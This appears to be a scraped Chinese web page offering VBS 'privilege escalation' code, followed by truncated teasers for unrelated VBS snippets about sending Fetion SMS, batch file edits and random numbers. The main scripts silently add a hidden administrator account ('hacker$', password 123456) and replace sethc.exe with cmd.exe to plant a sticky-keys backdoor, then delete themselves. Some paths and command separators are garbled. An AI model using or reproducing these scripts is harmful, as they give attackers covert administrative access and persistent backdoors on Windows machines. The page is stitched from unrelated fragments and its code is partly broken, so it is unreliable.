提权vbs代码
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments
(0):password=Wscript.Arguments(1):Else:username="hacker$":password="123456":end if:set
wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject
(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword
password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo
of.ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%system32sethc.exe&echo y| cacls %SystemRoot%
system32sethc.exe /G %USERNAME%:F© %SystemRoot%system32cmd.exe %SystemRoot%system32
acmd.exe© %SystemRoot%system32sethc.exe %SystemRoot%system32asethc.exe&del %SystemRoot%
system32sethc.exe&ren %SystemRoot%system32acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
利用VBS发送短信的实现代码(通过飞信)
光看标题就已经觉得很牛逼了,听说过可以用PHP发送短信(飞信),也使用过Python实现的PyFetion发送过短信(飞信)。我也看过对应的PHP和Python源码,实
vbs 批量修改文件,bat 批处理文件调用执行vbs,并在cmd窗口打印返回值(vbs运行结果)
示例代码(t.vbs)如下:Setfso=Wscript.CreateObject("Scripting.FileSystemObject")flrName="D:Workspacesrc"'dirthatyouneeddealwithcount=0'getthecountofmodifiedfilesfunctionTraversal(dir)setfl
用vbs产生的若干个随机数并写入到一个.txt中的代码
Seta=WScript.CreateObject("WScript.Shell")a.Run"notepad"'打开记事本doRandomizex=Int((40*Rnd)+1)'产生一个1~40的随机数赋给XWScript.Sleep1000a.SendKeysx&","'模拟键盘,输出xn=n+1'